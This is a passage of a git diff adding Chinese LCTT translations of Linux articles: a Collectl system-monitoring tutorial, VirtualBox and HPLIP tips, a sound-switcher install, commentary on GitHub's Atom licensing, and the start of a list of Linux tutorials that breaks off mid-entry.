+这件事本身也并没有任何问题。虽然这会引来很多狂热爱好者或者喷子,但是这提供的种灵活性也可以更好地为改进者,自定义者和主题制作者服务,因此我说:“何乐而不为呢?” + +###Winodws 8 的现代UI### + +> “Windows XP的卡通蓝边界和过度透明的Aero Glass主题早就过时了” + +Windows作为世界上最被广泛运用的操作系统(吁~ 一片嘘声),那么GTK的高山与Metacity主题再邀请下模仿Windows的外观一点也不让人惊奇。 + +但是Windows XP年长的卡通蓝边界以及过度透明的Aero Glass已经过时,当前的热门话题应该属于五彩缤纷的现代UI。 + +Windows 8引入了一种平整,实心而且转折角度明显的主题特色,这位微软桌面操作系统带来了新鲜的感觉。按照[在微软其他产品中的统一的设计脉络][1],比如Windows Phone 8以及Xbox One为用户提供了不少的相似点。 + +Windows 8 GTK主题与其他主题相比,更体现了它的设计感觉。我承认我并没有常用Windows 8从而可以对其设计方方面面十分了解,但是这个主题已经包含了它大多数的表面设计,如果通过这个评分的话,这个主题可以算成功的了。 + +在这同时,扁平化主题并不由微软专属,类似[Iris Light, which we shared recently][2]等主题都在Linux中十分流行。 + +###下载Linux上的Windows 8主题### + +从GNOME-Look上可以获取文件,将他们放在'/usr/share/theme'文件夹,然后用类似Unity Tweak的应用启用配置。 + + +- [Windows 8 GTK Theme on GNOME-Look][3] +- [Windows 8 Metacity Theme on GNOME-Look][4] + +-------------------------------------------------------------------------------- + +via: http://www.omgubuntu.co.uk/2014/02/windows-8-metro-gtk-theme + +译者:[ThomazL](https://github.com/ThomazL) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://en.wikipedia.org/wiki/Metro_(design_language) +[2]:http://www.omgubuntu.co.uk/2014/01/iris-flat-gtk-theme-for-linux +[3]:http://gnome-look.org/content/show.php?content=158721 +[4]:http://gnome-look.org/content/show.php/Windows+8+modern+UI?content=157024 diff --git a/published/201404/Collectl is a powerful tool to monitor system resources on Linux.md b/published/201404/Collectl is a powerful tool to monitor system resources on Linux.md new file mode 100644 index 0000000000..7a6a6bc3c0 --- /dev/null +++ b/published/201404/Collectl is a powerful tool to monitor system resources on Linux.md @@ -0,0 +1,374 @@ +Linux系统监控神器--Collectl +================================================================================ +### 系统资源监控 ### + +为使系统良好运转,Linux系统管理员经常需要监测cpu,内存,磁盘,网络等系统信息。Linux上已有iotop,top,free,htop,sar等丰富的常规工具来实现监测功能。今天让我们走进Collectl来了解这个集测试/监控/分析系统性能为一体的Linux工具。 + +Collectl作为一个轻量级的监控工具,在同类工具中是功能最全的。用户可监测不同的复杂系统矩阵值,并可保留数据以做之后的分析。不同于其他只用来监测特定系统参数的工具,Collectl可以同时监测不同的变量,并以合适的方式记录它们。 + +摘自[Collectl官网][1] ... + +> 不同于或聚焦于一小组统计数据、采用唯一输出方式,或采用迭代、作为守护进程运行的大部分监测工具,collectl可以同时全部实现。用户可选择各种子系统中的任一系统来监测包括内存,CPU,磁盘,索引节点,无线带宽,lustre,内存,网络,网络文件系统,进程,二次型,slabs,套接口及TCP等信息。 + +深入学习前让我们先看以下命令。 + + $ collectl + waiting for 1 second sample... + #<--------CPU--------><----------Disks-----------><----------Network----------> + #cpu sys inter ctxsw KBRead Reads KBWrit Writes KBIn PktIn KBOut PktOut + 0 0 864 1772 0 0 0 0 0 1 0 0 + 5 2 1338 2734 0 0 8 2 0 0 0 1 + 1 0 1222 2647 0 0 92 3 0 2 0 1 + 1 0 763 1722 0 0 80 3 0 1 0 2 + +CPU使用率,磁盘输入输出和网络活动以每秒为单位来加载。对可以理解这些数据的人来说这些信息很容易读懂。这项列表在给定的时间间隔里会持续增加,并可直接形成一项文件跟踪日志。collectl工具提供了各种命令来对这些数据进行记录,查找及做其他处理。 + +### 安装collectl工具 ### + +对Ubuntu/Debian用户来说Collectl是默认资源,所以使用apt命令便可获取。 + + $ sudo apt-get install collectl + +Fedora/CentOS用户使用yum命令便可获取。 + + $ yum install collectl + +### 使用 ### + +#### 必要的了解 - Collectl子系统 #### + +子系统是可检测到的不同系统资源类型。像CPU,内存,带宽等等都可构成一个子系统。只运行collectl命令将以批处理模式输出CPU,磁盘和网络子系统信息,我们在上文已看到相关内容。 + +从操作说明可以看到,Collectl可以识别以下子系统。 + + 总计子系统 + + b - buddy info (内存片段) + c - CPU + d - Disk + f - NFS V3 Data + i - Inode and File System + j - Interrupts + l - Lustre + m - Memory + n - Networks + s - Sockets + t - TCP + x - Interconnect + y - Slabs (system object caches) + + 细节子系统 + + 这是一系列的详细信息,大部分情况下都会由相应的总计数据衍生出来。目前“环境变量”和“进程”2类没有相应的总计数据。如果有3个磁盘,选择-sd,将只会看到3个磁盘组合出的单一信息。如果选择-sD,将会分别显示各磁盘信息。 + + C - CPU + D - Disk + E - Environmental data (fan, power, temp), via ipmitool + F - NFS Data + J - Interrupts + L - Lustre OST detail OR client Filesystem detail + M - Memory node data, which is also known as numa data + N - Networks + T - 65 TCP counters only available in plot format + X - Interconnect + Y - Slabs (system object caches) + Z - Processes + +使用“-s”来监测特定的子系统并向其添加子系统的识别项。现在让我们举几个例子。 + +#### 1. 监测cpu使用率 #### + +用“-sc”实现CPU总使用率的监测 + + $ collectl -sc + waiting for 1 second sample... + #<--------CPU--------> + #cpu sys inter ctxsw + 3 0 1800 3729 + 3 0 1767 3599 + +使用“-C”观察各个单独的CPU使用情况。结果将会输出多行,分别对应一个CPU。 + + + $ collectl -sC + waiting for 1 second sample... + + # SINGLE CPU STATISTICS + + # Cpu User Nice Sys Wait IRQ Soft Steal Idle + 0 3 0 0 0 0 0 0 96 + 1 3 0 0 0 0 0 0 96 + 2 2 0 0 0 0 0 0 97 + 3 1 0 0 0 0 0 0 98 + 0 2 0 0 0 0 0 0 97 + 1 2 0 2 0 0 0 0 95 + 2 1 0 0 0 0 0 0 98 + 3 4 0 1 0 0 0 0 95 + +如果需要,可以同时使用C和c来获取单项CPU监测数据和汇总数据。 + +#### 2. 内存监测 #### + +使用m子系统查看内存。 + + $ collectl -sm + waiting for 1 second sample... + #<-----------Memory-----------> + #Free Buff Cach Inac Slab Map + 2G 220M 1G 1G 210M 3G + 2G 220M 1G 1G 210M 3G + 2G 220M 1G 1G 210M 3G + +不难解释。 +M用来查看更多内存的详细信息。 + + $ collectl -sM + waiting for 1 second sample... + + # MEMORY STATISTICS + + # Node Total Used Free Slab Mapped Anon Locked Inact Hit% + 0 7975M 5939M 2036M 215720K 372184K 0 6652K 1434M 0 + 0 7975M 5939M 2036M 215720K 372072K 0 6652K 1433M 0 + +这类似于免费报告吗? + +#### 3. 查看磁盘使用情况 #### + +d和D可以查看磁盘使用的概况和详细情况。 + + $ collectl -sd + waiting for 1 second sample... + #<----------Disks-----------> + #KBRead Reads KBWrit Writes + 4 1 136 24 + 0 0 80 13 + + $ collectl -sD + waiting for 1 second sample... + + # DISK STATISTICS (/sec) + # <---------reads---------><---------writes---------><--------averages--------> Pct + #Name KBytes Merged IOs Size KBytes Merged IOs Size RWSize QLen Wait SvcTim Util + sda 0 0 0 0 0 0 0 0 0 0 0 0 0 + sda 0 0 0 0 0 0 0 0 0 0 0 0 0 + sda 1 0 2 1 17 1 5 3 2 2 6 2 1 + sda 0 0 0 0 92 11 5 18 18 1 12 12 5 + +“--verbose”命令可以用来查看附加信息。和D命令不同,它将概况扩展,包含了更多信息。 + + $ collectl -sd --verbose + +#### 4. 同时报告多系统情况 #### + +如果想要同时得到CPU,内存和磁盘报告,那么同时使用子命令组合来实现。 + + $ collectl -scmd + waiting for 1 second sample... + #<--------CPU--------><-----------Memory-----------><----------Disks-----------> + #cpu sys inter ctxsw Free Buff Cach Inac Slab Map KBRead Reads KBWrit Writes + 4 0 2187 4334 1G 221M 1G 1G 210M 3G 0 0 0 0 + 3 0 1896 4065 1G 221M 1G 1G 210M 3G 0 0 20 5 + +#### 5. 显示统计时间 #### + +若要将每行的监测信息和时间一同显示,使用T选项。通过在“-o”参数来指定。 + + $ collectl -scmd -oT + waiting for 1 second sample... + # <--------CPU--------><-----------Memory-----------><----------Disks-----------> + #Time cpu sys inter ctxsw Free Buff Cach Inac Slab Map KBRead Reads KBWrit Writes + 12:03:05 3 0 1961 4013 1G 225M 1G 1G 212M 3G 0 0 0 0 + 12:03:06 3 0 1884 3810 1G 225M 1G 1G 212M 3G 0 0 0 0 + 12:03:07 3 0 2011 4060 1G 225M 1G 1G 212M 3G 0 0 0 0 + +使用“-oTm”可将时间换成毫秒显示。 + +#### 6. 改变样本计数 #### + +collectl报告的每行都是一份快照或样本,它通常设定定期间隔如1秒来取样。i可用来设置时间间隔,c用来设置样本计数。 + + $ collectl -c1 -sm + waiting for 1 second sample... + #<-----------Memory-----------> + #Free Buff Cach Inac Slab Map + 1G 261M 1G 1G 228M 3G + +使用i命令可改变更新时间间隔。 + + $ collectl -sm -i2 + waiting for 2 second sample... + #<-----------Memory-----------> + #Free Buff Cach Inac Slab Map + 1G 261M 1G 1G 229M 3G + +上面的命令设定每2秒收集一次内存信息。 + +#### 7. 像iotop一样使用collectl #### + +top命令将collectl像iostat/top工具一样进行智能统计。列表会持续更新,且可以使用不同字段实现排序。 + + $ collectl --top iokb + +输出如下 + + # TOP PROCESSES sorted by iokb (counters are /sec) 09:44:57 + # PID User PR PPID THRD S VSZ RSS CP SysT UsrT Pct AccuTime RKB WKB MajF MinF Command + 3104 enlighte 20 2683 3 S 938M 33M 0 0.00 0.00 0 00:09.16 0 4 0 0 /usr/bin/ktorrent + 1 root 20 0 0 S 26M 3M 2 0.00 0.00 0 00:01.30 0 0 0 0 /sbin/init + 2 root 20 0 0 S 0 0 3 0.00 0.00 0 00:00.00 0 0 0 0 kthreadd + 3 root 20 2 0 S 0 0 0 0.00 0.00 0 00:00.02 0 0 0 0 ksoftirqd/0 + 4 root 20 2 0 S 0 0 0 0.00 0.00 0 00:00.00 0 0 0 0 kworker/0:0 + 5 root 0 2 0 S 0 0 0 0.00 0.00 0 00:00.00 0 0 0 0 kworker/0:0H + 7 root RT 2 0 S 0 0 0 0.00 0.00 0 00:00.08 0 0 0 0 migration/0 + 8 root 20 2 0 S 0 0 2 0.00 0.00 0 00:00.00 0 0 0 0 rcu_bh + 9 root 20 2 0 S 0 0 0 0.00 0.00 0 00:00.00 0 0 0 0 rcuob/0 + +上面的输出很像top命令,并且它以磁盘数量降序排列进程。 + +若只想显示上面的5项进程,可用以下命令实现 + + $ collectl --top iokb,5 + +若想学习上面的列表里哪些字段可以排序,使用如下命令 + + $ collectl --showtopopts + + 下面是应用于进程或数据的最高排序类型列表。某些情况下你可能会使用某一字段进行排序,但它并非显示的一部分。 + + TOP PROCESS SORT FIELDS + 进程排序字段 + + Memory + vsz virtual memory + rss resident (physical) memory + + Time + syst system time + usrt user time + time total time + accum accumulated time + + I/O + rkb KB read + wkb KB written + iokb total I/O KB + + rkbc KB read from pagecache + wkbc KB written to pagecache + iokbc total pagecacge I/O + ioall total I/O KB (iokb+iokbc) + + rsys read system calls + wsys write system calls + iosys total system calls + + iocncl Cancelled write bytes + + Page Faults + majf major page faults + minf minor page faults + flt total page faults + + Context Switches + vctx volunary context switches + nctx non-voluntary context switches + + Miscellaneous (best when used with --procfilt) + cpu cpu number + pid process pid + thread total process threads (not counting main) + + TOP SLAB SORT FIELDS + + numobj total number of slab objects + actobj active slab objects + objsize sizes of slab objects + numslab number of slabs + objslab number of objects in a slab + totsize total memory sizes taken by slabs + totchg change in memory sizes + totpct percent change in memory sizes + name slab names + +#### 8. 像top一样使用collectl #### + +为使collectl像top,我们只需以CPU使用率排序输出进程。 + + $ collectl --top + +输出如下 + + # TOP PROCESSES sorted by time (counters are /sec) 14:08:46 + # PID User PR PPID THRD S VSZ RSS CP SysT UsrT Pct AccuTime RKB WKB MajF MinF Command + 9471 enlighte 20 9102 0 R 63M 22M 3 0.03 0.10 13 00:00.81 0 0 0 3 /usr/bin/perl + 3076 enlighte 20 2683 2 S 521M 40M 2 0.00 0.03 3 00:55.14 0 0 0 2 /usr/bin/yakuake + 3877 enlighte 20 3356 41 S 1G 218M 1 0.00 0.03 3 10:10.50 0 0 0 0 /opt/google/chrome/chrome + 4625 enlighte 20 2895 36 S 1G 241M 2 0.00 0.02 2 08:24.39 0 0 0 12 /usr/lib/firefox/firefox + 5638 enlighte 20 3356 3 S 1G 265M 1 0.00 0.02 2 09:55.04 0 0 0 2 /opt/google/chrome/chrome + 1186 root 20 1152 4 S 502M 76M 0 0.00 0.01 1 03:02.96 0 0 0 0 /usr/bin/X + 1334 www-data 20 1329 0 S 87M 1M 2 0.00 0.01 1 00:00.85 0 0 0 0 nginx: + +上面的命令也可用于显示子系统信息。 + + $ collectl --top -scm + +#### 9. 像ps一样列出进程 #### + +为像ps命令一样列出所有进程且没有后续更新,用“c”命令让其计数至1. + $ collectl -c1 -sZ -i:1 + +上面的命令将会列出类似“ps -e”命令的所有进程。“procfilt”用于从所有进程中过滤出特定的进程信息。“procopts”用于指定另一组微调进程列表显示的命令。 + +#### 10. 像vmstat一样使用collectl #### + +Collectl有内置命令来完成像vmstat一样的功能。 + + $ collectl --vmstat + waiting for 1 second sample... + #procs ---------------memory (KB)--------------- --swaps-- -----io---- --system-- ----cpu----- + # r b swpd free buff cache inact active si so bi bo in cs us sy id wa + 1 0 0 1733M 242M 1922M 1137M 710M 0 0 0 108 1982 3918 2 0 95 1 + 1 0 0 1733M 242M 1922M 1137M 710M 0 0 0 0 1906 3886 1 0 98 0 + 1 0 0 1733M 242M 1922M 1137M 710M 0 0 0 0 1739 3480 3 0 96 0 + +#### 11. 子系统的详细信息 #### + +下面的命令以一秒为间隔,统计5次CPU信息并和时间一起显示出详细信息(冗长)。 + + $ collectl -sc -c5 -i1 --verbose -oT + waiting for 1 second sample... + + # CPU SUMMARY (INTR, CTXSW & PROC /sec) + #Time User Nice Sys Wait IRQ Soft Steal Idle CPUs Intr Ctxsw Proc RunQ Run Avg1 Avg5 Avg15 RunT BlkT + 14:22:10 11 0 0 0 0 0 0 87 4 1312 2691 0 866 1 0.78 0.86 0.78 1 0 + 14:22:11 15 0 0 0 0 0 0 84 4 1283 2496 0 866 1 0.78 0.86 0.78 1 0 + 14:22:12 17 0 0 0 0 0 0 82 4 1342 2658 0 866 0 0.78 0.86 0.78 0 0 + 14:22:13 15 0 0 0 0 0 0 84 4 1241 2429 0 866 1 0.78 0.86 0.78 1 0 + 14:22:14 11 0 0 0 0 0 0 88 4 1270 2488 0 866 0 0.80 0.87 0.78 0 0 + +改变"-s"变量查看不同的子系统。 + +### 总结 ### + +本文的介绍不过是对collectl这个强大工具的一些浅见。本文本希望展示它有多灵活,其实通过以上的讨论让我们了解了包括记录及回寻捕获的数据,以多种文件格式导出数据并将数据转换为可被广泛的工具分析的格式等等功能的实现。 + +collectl提供的另一大功能便是像服务一样运行,对远程Linux机器或完整的服务器集群提供远程监控,其表现堪称完美。 + +Collectl同另一批可用于处理分析收集数据的名为[Collectl实用工具][2] (colmux, colgui, colplot)的功能相契合。如果有机会,我们在之后的文章中会介绍它们。 + +为更详细的了解Collectl工具,请登录它的主页来学习更多的功能。笔者建议查看[FAQs][3]来快速了解collectl,读取[collectl文档][4]获取深层次的例子。[等价命令表][5]也可定位至更多的像sar,iostat,netstat,top等和collectl功能部分等价的常用工具。 + +-------------------------------------------------------------------------------- + +via: http://www.binarytides.com/collectl-monitor-system-resources-linux/ + +译者:[icybreaker](https://github.com/icybreaker) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://collectl.sourceforge.net/ +[2]:http://collectl-utils.sourceforge.net/ +[3]:http://collectl.sourceforge.net/FAQ-collectl.html +[4]:http://collectl.sourceforge.net/Documentation.html +[5]:http://collectl.sourceforge.net/Matrix.html diff --git "a/published/201404/Daily Ubuntu Tips \342\200\223 Fix Black Screen In Ubuntu Guest With VirtualBox Screen Capture.md" "b/published/201404/Daily Ubuntu Tips \342\200\223 Fix Black Screen In Ubuntu Guest With VirtualBox Screen Capture.md" new file mode 100644 index 0000000000..8defc872f3 --- /dev/null +++ "b/published/201404/Daily Ubuntu Tips \342\200\223 Fix Black Screen In Ubuntu Guest With VirtualBox Screen Capture.md" @@ -0,0 +1,44 @@ +每日Ubuntu小技巧:解决VirtualBox中截屏时的黑屏故障 +================================================================================ + +VirtualBox是一个可以让你在一台物理主机上运行多个系统的软件。它支持Windows,Mac OS X 和Linux 并且是Oracle公司在维护它。 + +我们在这里写了很多关于VirtualBox的文章,你可以做一个快速的查找来查看所有关于VirtualBox的文章。 + +现在,这里有一个故事:VirtualBox有一个功能,允许用户快速的截取虚拟机会话的屏幕截图。这些截图可以通过粘贴板和宿主机共享。 + +这就是我们这里要说的了。当某一个Ubuntu 虚拟机中的功能启用后,这项截图的功能就不能够正常的工作了。这种现象一直是一个痛点,直到最近我们偶然发现了这个解决方法。 + +如果不采取我们发现的这个方法,当你在Ubuntu的虚拟机里面截完屏幕之后,截屏的图片将会被存储成全黑的文件,这样的文件会毫无用处。 + +我一直在苦苦寻找解决方法,但是一直都没有好运气,直到刚刚。 + +要开启Ubuntu下的虚拟机和宿主机之间的双向黏贴板的话,请在Ubuntu虚拟机上面点击 “设置”,之后找到“普通->高级标签”,选择这个功能来开启它。 + +![](http://www.liberiangeek.net/wp-content/uploads/2014/02/virtualboxsharedclipboard.png) + +现在,理论上,当你开启Ubuntu的虚拟机之后,按下“截屏键”,或者按下“Ctrl+截屏键”,虚拟机就应该为当前的桌面会话来张截屏。 + +之后你就可以通过在宿主机上面使用粘贴板的功能来看到那些图片了。 + +**但是!**如果你同时启用了Ubuntu虚拟机中的“3D 加速”功能,那些图片将会变得漆黑一片。 + +为了解决这个问题,你必须关闭Ubuntu虚拟机的3D加速功能! + +关闭3D加速功能可以这样做:在Ubuntu虚拟机种点击“设置”,之后找到“系统->显示->显卡”标签,关闭3D加速 + +![](http://www.liberiangeek.net/wp-content/uploads/2014/02/virtualboxsharedclipboard1.png) + +现在你必须在Ubuntu的虚拟机中设置关闭3D加速才能让截屏正常工作。现在打开一个虚拟机尝试来截个屏幕吧。 + +希望这个方法能够帮到你! + +希望你喜欢! + +-------------------------------------------------------------------------------- + +via: http://www.liberiangeek.net/2014/02/daily-ubuntu-tips-fix-black-screen-in-ubuntu-guest-with-virtualbox-screen-capture/ + +译者:[FineFan](https://github.com/译者ID) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 diff --git "a/published/201404/Daily Ubuntu Tips \342\200\223 HPLIP 3.14.3 Released \342\200\223 Upgrade In Ubuntu.md" "b/published/201404/Daily Ubuntu Tips \342\200\223 HPLIP 3.14.3 Released \342\200\223 Upgrade In Ubuntu.md" new file mode 100644 index 0000000000..2fdb1b0ef8 --- /dev/null +++ "b/published/201404/Daily Ubuntu Tips \342\200\223 HPLIP 3.14.3 Released \342\200\223 Upgrade In Ubuntu.md" @@ -0,0 +1,51 @@ +Ubuntu每日小技巧 – HPLIP 3.14.3发布 – 在Ubuntu中升级 +================================================================================ +HP Linux成像和打印(HPLIP)是由惠普赞助提供全功能的HP打印机驱动程序的Linux社区的开放源代码包。 + +安装这个包后将默认在Ubuntu和其他Linux发行版完整中支持数以千计的HP打印机。支持的打印机数量正在定期添加,目前已经超过[2,300台HP打印机][1]。 + +这个版本,3.14.3增加了对更多打印机的支持,包括HP DeskJet Ink Advantage 4640 e-All-in-One Printer 系列,HP LaserJet Pro MFP M126nw,支持Debian 6.0.9,7.3,7.4 以及Fedora 20。 + +除了增加新的打印机和系统的支持,一些突出的问题在这个版本中也被解决。修复程序包括,HP Officejet 6100的功能定位问题,阻止第二传真队列中的互动问题,以及HP OfficeJet 7619 系列缺少No' 6 3/4信封媒介尺寸。 + +关于这次发布的更多信息,请查看发布页面[http://sourceforge.net/p/hplip/news/2014/03/hplip-3143-public-release-/][2] + +以下是新支持的HP打印机的完整列表: + +- HP DeskJet Ink Advantage 4640 e-All-in-One Printer series +- HP DeskJet Ink Advantage 4645 e-All-in-One Printer +- HP DeskJet Ink Advantage 4646 e-All-in-One Printer +- HP DeskJet Ink Advantage 4648 e-All-in-One Printer +- HP LaserJet Pro MFP M125a +- HP LaserJet Pro MFP M125nw +- HP LaserJet Pro MFP M125rnw +- HP LaserJet Pro MFP M126a +- HP LaserJet Pro MFP M126nw +- HP LaserJet Pro MFP M127fp + +安装/升级到这个版本,请在键盘上按**Ctrl – Alt – T**,打开终端。当它打开时,运行下面的命令来下载该软件包。 + + wget http://prdownloads.sourceforge.net/hplip/hplip-3.14.3.run + +之后,运行以下命令来进行安装。 + + sh hplip-3.14.3.run + +安装时,按照向导来指导你。这是很简单的。对于一个完整的一步一步的安装引导,请查看这个帖子了。 + +http://www.liberiangeek.net/2013/02/hp-linux-imaging-and-printer-hplip-version-3-13-2-releasedadds-support-for-more-printers/ + +安装完成之后,请重启你的电脑。 + +![](http://www.liberiangeek.net/wp-content/uploads/2014/03/hplipubuntu3143.png) + +-------------------------------------------------------------------------------- + +via: http://www.liberiangeek.net/2014/03/daily-ubuntu-tips-hplip-3-14-3-released-upgrade-in-ubuntu/ + +译者:[乌龙茶](https://github.com/yechunxiao19) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://hplipopensource.com/hplip-web/supported_devices/index.html +[2]:http://sourceforge.net/p/hplip/news/2014/03/hplip-3143-public-release-/ diff --git a/published/201404/Easily Switch Audio Sources With Sound Switcher Indicator In Ubuntu.md b/published/201404/Easily Switch Audio Sources With Sound Switcher Indicator In Ubuntu.md new file mode 100644 index 0000000000..1b1ddecdb4 --- /dev/null +++ b/published/201404/Easily Switch Audio Sources With Sound Switcher Indicator In Ubuntu.md @@ -0,0 +1,36 @@ +在Ubuntu内使用声音切换器简单切换音频源 +================================================================================ +![](http://itsfoss.com/wp-content/uploads/2014/02/Sound_switcher_Indicator.jpeg) + +声音切换器是由[Dmitry Kann][1]开发的小程序。这个程序的目的很简单,让你在不同的音频源如喇叭、耳机和HDMI之间点击两下鼠标就能切换。 + +你可能会说“没什么大不了”。毕竟它不是火箭科学。你可以进入**系统设置> 声音设定** 并且可以简单地选择你想要的输入输出源。**声音切换器**没有做新的或者Ubuntu没有提供的功能,它只是简化整个过程。我想这可能是为什么这个没有列在[最佳Ubuntu指示器程序][2]中的原因。 + + +你多久需要改变音频源?对于我来说,我不得不在每次从外部监视器的HDMI获取声音时切换音频源。并且我不得不在拔掉HDMI线时重新这么做。这个小程序指示器对于像我这样经常切换音频源又懒的人是很方便的。![](http://itsfoss.com/wp-includes/images/smilies/icon_razz.gif) + +### 在Ubuntu中安装音频切换器: ### + +打开一个终端并且使用下面的命令在Ubuntu中安装音频切换器: + + sudo apt-add-repository ppa:yktooo/ppa + sudo apt-get update + sudo apt-get install indicator-sound-switcher + +#### 重要提示: #### + +音频切换器不会自动启动。为了自动启动,你要把它加到**启动程序**中。打开**启动程序**并点击**添加**。这里,给它一个名字,比如就称声音切换器,并是在**命令**部分使用 “indicator-sound-switcher”(没有引号)。如果你在加入启动程序遇到问题时请告诉我。 + +你认为音频切换器怎么样?像这样的小程序对用户有好处么?让我们知道你的看法。 + +-------------------------------------------------------------------------------- + +via: http://itsfoss.com/sound-switcher-indicator-ubuntu/ + +译者:[geekpi](https://github.com/geekpi) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://yktoo.com/about +[2]:http://itsfoss.com/7-best-indicator-applets-for-ubuntu-13-10/ +[3]:http://itsfoss.com/how-to-fix-no-sound-through-hdmi-in-external-monitor-in-ubuntu/ diff --git a/published/201404/GitHub's New Atom Text Editor Is Open Source, Sort Of, Though Not Really.md b/published/201404/GitHub's New Atom Text Editor Is Open Source, Sort Of, Though Not Really.md new file mode 100644 index 0000000000..0e40db7437 --- /dev/null +++ b/published/201404/GitHub's New Atom Text Editor Is Open Source, Sort Of, Though Not Really.md @@ -0,0 +1,56 @@ +Atom 文本编辑器——GitHub 的折扣开源 +================================================================================ +**GitHub 的新文本编辑器并不完全开源,看起来并没有人在意这一点。** + +Samuel Greenwald [认为][1]“任何 IT 领袖如果没有开源观念,那注定会失败。” 然而即使你的开源观念打了折扣、不那么纯粹,其实大众也并不会刁难你。特别是在你祭出古怪反复的许可证花招时,即使是开源界最精明的精英也可能被忽悠住。 + +例如就拿GitHub来说。GitHub 刚刚发布了[Atom][2]文本编辑器,获得了很多赞赏。虽然[有些人赞美Atom][3]“完全开源”,但其实它并非如此。在我看来,还差得很远。 + +### 某种打折扣的开源 ### + +不管怎样,并不是说 GitHub 把Atom 全部伪装成开源。正如 GitHub 联合创始人Tom Preston-Werner所说,只有“Atom 核心”代码将会是闭源的,而“其余现有的所有Atom 代码将永远遵守 MIT-licensed许可证。”原因纯粹是商业化的,他这么[解释][4]道: + +> Atom将不会封闭源代码,但它也不会开源。它将介于两者之间,这样我们更易于对 Atom 进行掌控,同时,人们还可以在许可证的限制下看到它如何运行。关于这一点,我们还没有最终决定究竟如何具体实施。我们将在充分的细节准备后正式启动。 + +早在开源的初期,我们就有了这个概念。事实上,微软也是这么做的。微软称之为“共享源代码”, [于2002年推出][5],共享源代码是微软为其社区提供的一种方式,用来监测,但不触及(或重新分配)微软的源代码。SAP 的大数据主管 Vijay Vijayasankar 提醒我们,对微软来说这个方法没有这么好,但对GitHub 可能会做的更好: + +> [@dberkholz][6]我记得OSI人士严重批评了微软,说这是微软的一个营销噱头。但这次 GitHub 会做得更好 +> — Vijay Vijayasankar (@vijayasankarv) [2014年2月27日][7] + +他也许是对的。 + +### GitHub 时代神圣不可侵犯 ### + +毕竟,微软是邪恶帝国,一直将开源抹黑为“毒瘤”之类的东西。而 GitHub,无论在哪儿,都是开源项目的养父母。 [2013年][8] GitHub突破千万代码库,增添300万新用户,每周狂热的活跃量包括:20,000个问题,50,000个评论,250,000个来自世界各地贡献者的提交,保证了代码库进展。 + +换句话说,GitHub是零起点的开源项目。 + +也许正因为如此,GitHub 得到了一个免费通行证。在[HackerNews评论][9]上,[少数人似乎过于在意,][10]他们认为 GitHub 没有真正开源 Atom。作为一个社区,开源已经在很大程度上战胜了免费软件:少教条,更实用。我们已经身处这样一个节点,许多所谓的“GitHub一代”[甚至懒得去费心将许可证分配给他们的软件][11]。 + +这是好事吗? + +很难说,甚至很难与 GitHub 的做法争辩,它带给世界一个高品质、低成本的文本编辑器,似乎并没有伤害任何人,潜在里还可能帮助许多人。开源社区是自由意志论者:并不愿意去制定许可证,它更关心的是良好的代码和产品。 + +这就是为什么 GitHub、Atlassian 和 Amazon 的 Web 服务都依赖于专有软件或服务来赚钱,同时却如此惊人地受到开源开发者的欢迎。 + +你了解了吗? + +-------------------------------------------------------------------------------- + +via: http://readwrite.com/2014/02/28/github-atom-text-editor#feed=/hack&awesm=~oxpErHVIIaxz3H + +译者:[乌龙茶](https://github.com/yechunxiao19) 校对:[Caroline](https://github.com/carolinewuyan) [Mr小眼儿](http://blog.csdn.net/tinyeyeser) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://www.cioinsight.com/blogs/open-source-has-changed-everything.html#sthash.ESY4Kc3r.u8rX81Ow.dpuf +[2]:https://github.com/atom +[3]:http://thenextweb.com/apps/2014/02/26/github-releases-text-editor-coders-named-atom/#!xHNqf +[4]:http://discuss.atom.io/t/why-is-atom-closed-source/82/8 +[5]:http://www.geek.com/news/microsoft-rep-clarifies-shared-source-initiative-550824/ +[6]:https://twitter.com/dberkholz +[7]:https://twitter.com/vijayasankarv/statuses/438882094429642752 +[8]:http://octoverse.github.com/ +[9]:https://news.ycombinator.com/item?id=7302941 +[10]:https://news.ycombinator.com/item?id=7310017 +[11]:http://readwrite.com/2013/05/15/open-source-is-old-school-says-the-github-generation#awesm=~ox6tkvcaUwiEF0 diff --git a/published/201404/Here Are Top 20 Linux Tutorials!.md b/published/201404/Here Are Top 20 Linux Tutorials!.md new file mode 100644 index 0000000000..befe18101c --- /dev/null +++ b/published/201404/Here Are Top 20 Linux Tutorials!.md @@ -0,0 +1,109 @@ +分享20篇Linux入门教程 +================================================================================ +需要学习Linux但是不知道怎么开始?没事,因特网充满了数不尽的资源和教程,他们可以让你一步一步地享受体验Linux的精华之旅。所有必须要做的是选择那个适合你的教程,然后开始你的Linux之旅! + +![](http://www.efytimes.com/admin/useradmin/photo/XdLx24932PM3182014.jpg) + +#### 1. [Linux Knowledge Base and Tutorial][1] #### + +这篇教程不仅仅是基础知识,还提供给你了解Linux系统的必要的知识。 + +#### 2. [HowtoForge - Linux Howtos and Tutorials][2] #### + +由多篇教程组成:包括如何转换Outlook PST 到 Thunderbird/Evolution兼容的SBD格式;如何准备一个CentOS 5.10 x86_64架构的服务器来安装ISPconfig 3 以及其他等等。 + +#### 3. [UNIX / Linux Tutorial for Beginners][3] #### + +Unix 和 linux 的新手指导教程。8个简单的教程,覆盖了UNIX/Linux的基础命令。 + +#### 4. [Linux Shell Scripting Tutorial - A Beginner's handbook][4] #### + +这篇教程设计给新手,那些想要学习shell脚本/编程并且介绍了一些给力的工具,如awk,sed,等等。 + +#### 5. [LinuxCommand.org: Learn the Linux command line. Write shell scripts][5] #### + +为新的命令行用户设计。它出版的《The Linux Command 